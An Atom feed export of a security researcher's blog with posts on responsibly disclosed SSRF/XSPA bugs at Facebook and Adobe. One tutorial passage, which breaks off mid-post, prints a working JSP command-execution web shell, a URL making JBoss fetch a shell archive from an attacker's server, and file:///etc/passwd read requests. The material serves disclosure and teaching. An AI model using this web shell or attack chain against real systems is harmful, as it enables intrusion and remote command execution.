<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;C0YARHYzeip7ImA9WhBbFEo.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225</id><updated>2013-05-13T11:52:25.882-07:00</updated><category term="syntax error" /><category term="web application" /><category term="Antwerp" /><category term="xvid" /><category term="First post" /><category term="desktops" /><category term="Cool" /><category term="vulnerability" /><category term="Removable" /><category term="office life" /><category term="malware" /><category term="tcpview" /><category term="CTF" /><category term="Backup APIs" /><category term="Awesome" /><category term="Spambot" /><category term="torrents" /><category term="adobe" /><category term="Windows" /><category term="bid" /><category term="misery" /><category term="process monitor" /><category term="RootKitRevealer" /><category term="cisco" /><category term="cocon" /><category term="angel" /><category term="openfire" /><category term="rdp" /><category term="pg room" /><category term="bug bounty" /><category term="amvo.exe" /><category term="FolderCloak" /><category term="cookie monster" /><category term="full disclosure" /><category term="Humor" /><category term="xss" /><category term="evil" /><category term="persistent" /><category term="injection" /><category term="Pain" /><category term="process explorer" /><category term="kids" /><category term="story" /><category term="facebook" /><category term="username enumeration" /><category term="SeLoadDriverPrivelege" /><category term="blackhat2012" /><category term="aircrack" /><category term="os" /><category term="walkthrough" /><category term="hsr" /><category term="inflation" /><category term="IPL" /><category term="hacker conference" /><category term="dream" /><category term="autorun" /><category term="themes" /><category term="xmlhttp" /><category term="wordpress" /><category term="USB" /><category term="autogk" /><category term="SmartPhone" /><category term="movie" /><category term="rain" /><category term="ranvir" /><category term="apache archiva" /><category term="whitehat" /><category term="stored XSS" /><category term="System Folders" /><category term="rainmeter" /><category term="cross site scripting" /><category term="Recycle Bin" /><category term="love" /><category term="Secret" /><category term="Do Re Mi" /><category term="csrf" /><category term="Windows Mobile" /><category term="irony" /><category term="admin" /><category term="joomla" /><category term="2011" /><category term="deviantart" /><category term="iframe" /><category term="Cricket" /><category term="hacking" /><category term="delnaz" /><category term="prices" /><category term="Sysinternals" /><category term="c0c0n" /><category term="tumblr" /><category term="data hiding" /><category term="dvdrip" /><category term="compression" /><category term="Auction" /><category term="enigma" /><category term="memories" /><category term="zeus" /><category term="dvd decrypter" /><category term="php.ini" /><category term="shell" /><category term="airodump" /><category term="owasp" /><category term="axxo" /><category term="fppg1" /><category term="Acer M900" /><category term="Dream Phone" /><category term="vbscript" /><category term="wlan" /><category term="command execution" /><category term="ssrf" /><category term="omniture" /><category term="XSPA" /><category term="bots" /><category term="sarcasm" /><category term="NTStream" /><category term="esapi" /><category term="Happy" /><category term="20Twenty" /><category term="Cross Site Port Attacks" /><category term="birthday" /><category term="backdoor" /><category term="Belgium" /><category term="php" /><category term="ajax" /><category term="hall of fame" /><category term="Werror" /><category term="poc" /><category term="tutorial" /><category term="raees" /><category term="remote" /><category term="Kneber" /><category term="symantec" /><category term="NTFS ADS" /><category term="life" /><category term="HITB" /><category term="wipe addressbook" /><category term="Maria" /><category term="wireless" /><category term="10 foot HUD" /><category term="LFI" /><category term="cve" /><category term="twitter" /><category term="CFLAGS" /><category term="short_open_tag" /><category term="virus" /><category term="Station" /><category term="Case Study" /><category term="Ubuntu" /><category term="fiction" /><category term="appsecusa" /><category term="security conference" /><category term="700mb" /><category term="Mark Russinovich" /><title>A Bug Hunter's Rhapsody</title><subtitle type="html">UDFj-39546284, computers and everything in between..</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.riyazwalikar.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>35</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/riyazwalikar" /><feedburner:info uri="riyazwalikar" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;Ck8ARnkzcSp7ImA9WhBbEk8.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-4609494372895899577</id><published>2013-05-10T14:20:00.001-07:00</published><updated>2013-05-10T14:20:47.789-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-10T14:20:47.789-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="whitehat" /><category scheme="http://www.blogger.com/atom/ns#" term="Cross Site Port Attacks" /><category scheme="http://www.blogger.com/atom/ns#" term="bug bounty" /><category scheme="http://www.blogger.com/atom/ns#" term="facebook" /><category scheme="http://www.blogger.com/atom/ns#" term="XSPA" /><category scheme="http://www.blogger.com/atom/ns#" term="ssrf" /><title>XSPA / SSRF bug with Facebook's Developer Web Application</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
This post is about a responsible disclosure I made to Facebook recently about a vulnerability with their developer.facebook.com web application that allowed an attacker to perform port scans on remote machines on the Internet. An attacker could scan Internet facing machines for open ports and proxy his scans through Facebook's IP addresses using this vulnerability.&lt;br /&gt;&lt;br /&gt;
The URL at http://developers.facebook.com/tools/debug/og/object is vulnerable to a SSRF / XSPA vulnerability (CWE-918), via the 'q' parameter, allowing an attacker to port scan external internet facing systems and identify IP addresses on the Internal network as well based on error messages and response data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
The following steps can be used to reproduce the issue. All scans have been verified against scanme.nmap.org that is known to have ports 22, 80 and 9929 open. 
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;p&gt;
Step 1: Navigate to http://developers.facebook.com/tools/debug and enter the following URL in the 'q' text box (open port test).
http://scanme.nmap.org:22/index.html&lt;br /&gt;
A GET request is sent to http://developers.facebook.com/tools/debug/og/object with the 'q' parameter being passed via the URL.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Step 2: Notice the "Response Code" received by Facebook from the remote server (502).&lt;br /&gt;&lt;br /&gt;

&lt;a href="http://4.bp.blogspot.com/-U8egp7zHD2E/UY1bXXa3SLI/AAAAAAAAAp0/5GxvMiDlW68/s1600/open_port.png" imageanchor="1" &gt;&lt;img border="0" height=171 width=570 src="http://4.bp.blogspot.com/-U8egp7zHD2E/UY1bXXa3SLI/AAAAAAAAAp0/5GxvMiDlW68/s1600/open_port.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;
Step 3: Repeat the request for http://scanme.nmap.org:25/index.html (closed port test)&lt;/p&gt;
&lt;p&gt;
Step 4: Notice the Response code received by facebook from the remote server (503).&lt;br /&gt;&lt;br /&gt;
&lt;a href="http://1.bp.blogspot.com/-dN0-OrXuTZE/UY1bXD4QG1I/AAAAAAAAApw/A71GmIJaGgI/s1600/closed_port.png" imageanchor="1" &gt;&lt;img border="0" height=172 width=570 src="http://1.bp.blogspot.com/-dN0-OrXuTZE/UY1bXD4QG1I/AAAAAAAAApw/A71GmIJaGgI/s1600/closed_port.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;
Other responses that have been noticed for open ports include 200, 404 and 206. An error response "Error parsing input URL, no data was scraped." is also seen if a request to a non ASCII port is sent (3389 etc).&lt;br /&gt;&lt;br /&gt;
&lt;a href="http://1.bp.blogspot.com/-t1OKf7ufOZs/UY1bXHM2LTI/AAAAAAAAAp4/2lWYhabQYYQ/s1600/open_nonascii_port.png" imageanchor="1" &gt;&lt;img border="0" height=141 width=570 src="http://1.bp.blogspot.com/-t1OKf7ufOZs/UY1bXHM2LTI/AAAAAAAAAp4/2lWYhabQYYQ/s1600/open_nonascii_port.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;br /&gt;

&lt;p&gt;
I wrote a simple port scanner in python that utilises this bug to make connections to remote systems which you can download &lt;a href="https://github.com/riyazwalikar/xspafbportscanner/blob/master/xspafbportscanner.py"&gt;from github&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;
&lt;a href="http://3.bp.blogspot.com/--24byv9A1kg/UY1bapQ9L4I/AAAAAAAAAqI/C86N1F2zmJk/s1600/portscan_comparisons.png" imageanchor="1" &gt;&lt;img border="0" height=424 width=570 src="http://3.bp.blogspot.com/--24byv9A1kg/UY1bapQ9L4I/AAAAAAAAAqI/C86N1F2zmJk/s1600/portscan_comparisons.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;br /&gt;
Facebook paid out a bounty for this bug although they did not fix the issue completely. This is what they had to say: 
&lt;br /&gt; &lt;br /&gt;
&lt;blockquote&gt;
"There are quite a few ways that our service can be made to issue requests to third-parties, and it's unfortunately not feasible to block non-standard ports on all of them. This debugging tool is one of those endpoints where it's incredibly helpful to allow requests to non-standard ports. We monitor and rate-limit the usage of this endpoint but the implications here are low-risk enough that we've decided not to eliminate this helpful functionality entirely."
&lt;/blockquote&gt;
&lt;br /&gt;
And I agree, rate-limiting the number of requests received from a single IP/subnet/network that look suspicious is one way this could be kept under check, however this bug will remain a good example of a functionality that can be heavily abused.
&lt;br /&gt;
&lt;br /&gt;
Happy hunting!!
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/Xzvuhpu_8uk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/4609494372895899577/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2013/05/xspa-ssrf-bug-with-facebooks-developer.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/4609494372895899577?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/4609494372895899577?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/Xzvuhpu_8uk/xspa-ssrf-bug-with-facebooks-developer.html" title="XSPA / SSRF bug with Facebook's Developer Web Application" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-U8egp7zHD2E/UY1bXXa3SLI/AAAAAAAAAp0/5GxvMiDlW68/s72-c/open_port.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2013/05/xspa-ssrf-bug-with-facebooks-developer.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUFQXc_cSp7ImA9WhBVF0s.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-6766812655285811530</id><published>2013-04-23T15:35:00.000-07:00</published><updated>2013-04-23T16:36:50.949-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-04-23T16:36:50.949-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="omniture" /><category scheme="http://www.blogger.com/atom/ns#" term="XSPA" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="adobe" /><category scheme="http://www.blogger.com/atom/ns#" term="blackhat2012" /><category scheme="http://www.blogger.com/atom/ns#" term="ssrf" /><category scheme="http://www.blogger.com/atom/ns#" term="hall of fame" /><title>XSPA / SSRF Vulnerability with the Adobe Omniture Web Application</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
This is a video demonstrating the XSPA / SSRF vulnerability that I discovered on the Adobe's Omniture Web Application back in November 2012 while writing a paper for BlackHat2012 AD. This was a typical XSPA / SSRF bug that allowed, amongst other things, to port scan Internet facing servers using Adobe's machines, read local files using the file:// protocol and detect internal machines and services running on them. 
&lt;br /&gt;
&lt;br /&gt;
Adobe has now fixed this issue and put me on the &lt;a href="http://www.adobe.com/support/security/bulletins/securityacknowledgments.html" target="_blank"&gt;Adobe's Acknowledgement page for Security Researchers&lt;/a&gt;.
&lt;br /&gt;
&lt;br /&gt;
More on SSRF / XSPA:
http://cwe.mitre.org/data/definitions/918.html
http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html
&lt;br /&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;
&lt;div dir="ltr" style="text-align: center;" trbidi="on"&gt;
&lt;iframe width="560" height="315" src="http://www.youtube.com/embed/OLLFgJ5OQj0?vq=hd720" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;br/&gt;&lt;br/&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Comments and feedback are welcome!
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/ATy-5r6tvYs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/6766812655285811530/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2013/04/xspa-ssrf-vulnerability-with-adobe.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/6766812655285811530?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/6766812655285811530?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/ATy-5r6tvYs/xspa-ssrf-vulnerability-with-adobe.html" title="XSPA / SSRF Vulnerability with the Adobe Omniture Web Application" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/OLLFgJ5OQj0/default.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2013/04/xspa-ssrf-vulnerability-with-adobe.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQBSH46eCp7ImA9WhNXFEs.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-2194958919031376680</id><published>2012-12-02T07:32:00.001-08:00</published><updated>2012-12-02T07:32:39.010-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-02T07:32:39.010-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Cross Site Port Attacks" /><category scheme="http://www.blogger.com/atom/ns#" term="appsecusa" /><category scheme="http://www.blogger.com/atom/ns#" term="XSPA" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="ssrf" /><title>AppSecUSA 2012 - Cross Site Port Attacks Talk Video</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
My talk on Cross Site Port Attacks (XSPA) at the recently concluded AppSecUSA 2012, Austin,TX is now online. Here's an embed:
&lt;br /&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;
&lt;div dir="ltr" style="text-align: center;" trbidi="on"&gt;
&lt;iframe allowfullscreen="allowfullscreen" frameborder="0" height="275" mozallowfullscreen="mozallowfullscreen" src="http://player.vimeo.com/video/54107684?badge=0" webkitallowfullscreen="webkitallowfullscreen" width="500"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;br/&gt;&lt;br/&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Comments and feedback are welcome!
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/-JpvjNv16jg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/2194958919031376680/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/12/appsecusa-2012-cross-site-port-attacks.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2194958919031376680?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2194958919031376680?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/-JpvjNv16jg/appsecusa-2012-cross-site-port-attacks.html" title="AppSecUSA 2012 - Cross Site Port Attacks Talk Video" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/12/appsecusa-2012-cross-site-port-attacks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cBQ3c6eSp7ImA9WhNRGU8.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-7293374345555452872</id><published>2012-11-14T12:48:00.000-08:00</published><updated>2012-11-14T13:37:32.911-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-11-14T13:37:32.911-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Cross Site Port Attacks" /><category scheme="http://www.blogger.com/atom/ns#" term="appsecusa" /><category scheme="http://www.blogger.com/atom/ns#" term="XSPA" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="ssrf" /><title>Cross Site Port Attacks - XSPA - Part 3</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;In the last 2 posts we saw what Cross Site Port Attacks (XSPA) are and what are the different attacks that are possible via XSPA. This post is in continuation with the previous posts and is the last in the series of three. In this post we will see other interesting attacks and also see how developers can prevent XSPA or limit the attack surface itself.
&lt;br /&gt;&lt;br /&gt;
Read &lt;a href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html"&gt;Cross Site Port Attacks - XSPA - Part 1&lt;/a&gt;&lt;br /&gt;
Read &lt;a href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-2.html"&gt;Cross Site Port Attacks - XSPA - Part 2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Attacks - Attacking Internal Vulnerable Web Applications&lt;/span&gt; &lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
Most often than not, intranet applications lack even the most basic security allowing an attacker on the internal network to attack and access server resources including data and code. Being an intranet application, reaching it from the Internet requires VPN access to the internal network or specialized connectivity on the same lines. Using XSPA, however, an attacker can target vulnerable internal web applications via the Internet exposed web application.
&lt;br/&gt;&lt;br/&gt;
A very common example I can think of and which I have seen during numerous pentests is the presence of a JBoss Server vulnerable to a bunch of issues. My most favorite of them being the absence of authentication, by default, on the JMX console which runs on port 8080 by default.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/--Re66ME7p30/UKP2MDwuEuI/AAAAAAAAAmk/kSTChWIpgW0/s1600/jmx_console.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="410" width="520" src="http://4.bp.blogspot.com/--Re66ME7p30/UKP2MDwuEuI/AAAAAAAAAmk/kSTChWIpgW0/s1600/jmx_console.png" /&gt;&lt;/a&gt;&lt;/div&gt;


&lt;br/&gt;
A well &lt;a href="https://www.google.co.in/search?q=hacking%20jboss%20jmx-console"&gt;documented hack&lt;/a&gt; using the JMX console, allows an attacker to deploy a war file containing JSP code that would allow command execution on the server. If an attacker has direct access to the JMX console, then deploying the war file containing the following JSP code is relatively straightforward:&lt;br /&gt;&lt;br/&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&amp;lt;%@ page import="java.util.*,java.io.*"%&amp;gt;&lt;br/&gt;
&amp;lt;pre&amp;gt;&lt;br/&gt; 
&amp;lt;% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x")); &lt;br/&gt;
DataInputStream dis = new DataInputStream(p.getInputStream());&lt;br/&gt; 
String disr = dis.readLine();&lt;br/&gt;
while (  disr != null ) {&lt;br/&gt; 
out.println(disr);&lt;br/&gt;
disr = dis.readLine();&lt;br/&gt;
} %&amp;gt; &lt;br/&gt;
&amp;lt;/pre&amp;gt; &lt;br/&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;br/&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Using the MainDeployer under jboss.system:service in the JMX Bean View we can deploy a war file containing a JSP shell. The MainDeployer can be found at the following address:
&lt;br /&gt;&lt;br/&gt;&lt;/span&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&amp;name=jboss.system%3Aservice%3DMainDeployer
&lt;/span&gt;
&lt;/div&gt;

&lt;br/&gt;

&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
Using the MainDeployer, for example, a war file named cmd.war containing a shell named shell.jsp can be deployed to the server and accessed via http://example_server:8080/cmd/shell.jsp. Commands can then be executed via shell.jsp?x=[command]. To perform this via XSPA we need to obviously replace the example_server with the IP/hostname of the server running JBoss on the internal network.&lt;/span&gt; 
&lt;br /&gt;&lt;br/&gt;

&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
A small problem here that becomes a roadblock in performing this attack via XSPA is that the file deploy works via a POST request and hence we cannot craft a URL (atleast we think so) that would deploy the war file to the server. This can easily be solved by converting the POST to a GET request for the JMX console. On a test installation, we can identify the variables that are being sent to the JBoss server when the Main Deployer's deploy() function is called. Using your favorite proxy, or simply using the Firefox addon - Web Developer's "Convert POST to GET" functionality, we can construct a URL that would allow deploying of the cmd.war file to the server. We then only need to host the cmd.war file on an Internet facing server so that we can specify the cmd.war file URL as arg0. The final URL would look something like (assuming JBoss server is running on the same web server):&lt;br/&gt;&lt;br/&gt;
&lt;/span&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&amp;name=jboss.system:service=MainDeployer&amp;methodIndex=17&amp;arg0=http://our_public_internet_server/utils/cmd.war
&lt;/span&gt;
&lt;/div&gt;
&lt;br/&gt;

&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
Use this URL as input to the XSPA vulnerable web application and if the application displays received responses from the backend, you should see something on the lines of the following:
&lt;/span&gt;
&lt;br/&gt;&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-Z18fpjlkHCk/UKP7L3wMeGI/AAAAAAAAAm4/Cj875aGL5Uk/s1600/jmx_op_completed.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="243" width="520" src="http://1.bp.blogspot.com/-Z18fpjlkHCk/UKP7L3wMeGI/AAAAAAAAAm4/Cj875aGL5Uk/s1600/jmx_op_completed.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
Then its a matter of requesting shell.jsp via the XSPA vulnerable web application. For example, the following input would return the directory listing on the JBoss server (assuming its Windows, for Linux, x=ls%20-al can be used)
&lt;/span&gt;
&lt;br/&gt;&lt;br/&gt;
&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
http://127.0.0.1:8080/cmd/shell.jsp?x=dir
&lt;/span&gt;
&lt;/div&gt;
&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-vxr29didu6A/UKP95LepdvI/AAAAAAAAAnM/eQhdTtMJLM8/s1600/jboss_shell_dir_output.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="470" width="520" src="http://3.bp.blogspot.com/-vxr29didu6A/UKP95LepdvI/AAAAAAAAAnM/eQhdTtMJLM8/s1600/jboss_shell_dir_output.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;&lt;br/&gt;
&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist
&lt;/span&gt;
&lt;/div&gt;
&lt;br/&gt;


&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-yLeAwAQ-XrE/UKP-JOyfF9I/AAAAAAAAAnY/wYKClkpSoeA/s1600/jboss_shell_tasklist_output.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="490" width="520" src="http://1.bp.blogspot.com/-yLeAwAQ-XrE/UKP-JOyfF9I/AAAAAAAAAnY/wYKClkpSoeA/s1600/jboss_shell_tasklist_output.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;&lt;br/&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
We have successfully attacked an internal vulnerable web application from the Internet using XSPA. We can then use the shell to download a reverse connect program that would give higher flexibility over issuing commands. Similarily other internal applications vulnerable to threats like SQL Injection, parameter manipulation and other URL based attacks can be targeted from the Internet.
&lt;/span&gt;
&lt;br/&gt;&lt;br/&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Attacks - Reading local files using file:/// protocol&lt;/span&gt; &lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
All the attacks that we saw till now make use of the fact that the XSPA vulnerable web application creates an HTTP request to the requested resource. The protocol in all cases was specified by the attacker. On the other hand, if we specify the file protocol handler, we maybe able to read local files on the server. An input of the following form would cause the application to read files on disk:
&lt;br/&gt;&lt;br/&gt;
Request: file:///C:/Windows/win.ini
&lt;/span&gt;
&lt;br /&gt;&lt;br /&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-3lFGc8lwxYc/UKP_SoHJ5EI/AAAAAAAAAnk/Wr-aMmJAVRE/s1600/file_read.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="530" width="520" src="http://1.bp.blogspot.com/-3lFGc8lwxYc/UKP_SoHJ5EI/AAAAAAAAAnk/Wr-aMmJAVRE/s1600/file_read.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;&lt;br/&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
The following screengrab shows the reading of the /etc/passwd file on an Adobe owned server via Adobe's Omniture web application. The request was file:///etc/passwd. Adobe has now fixed this issue and credited me on the &lt;a href="http://www.adobe.com/support/security/bulletins/securityacknowledgments.html" target="_blank"&gt;Adobe Hall of Fame&lt;/a&gt; for the same:
&lt;/span&gt;
&lt;br/&gt;&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
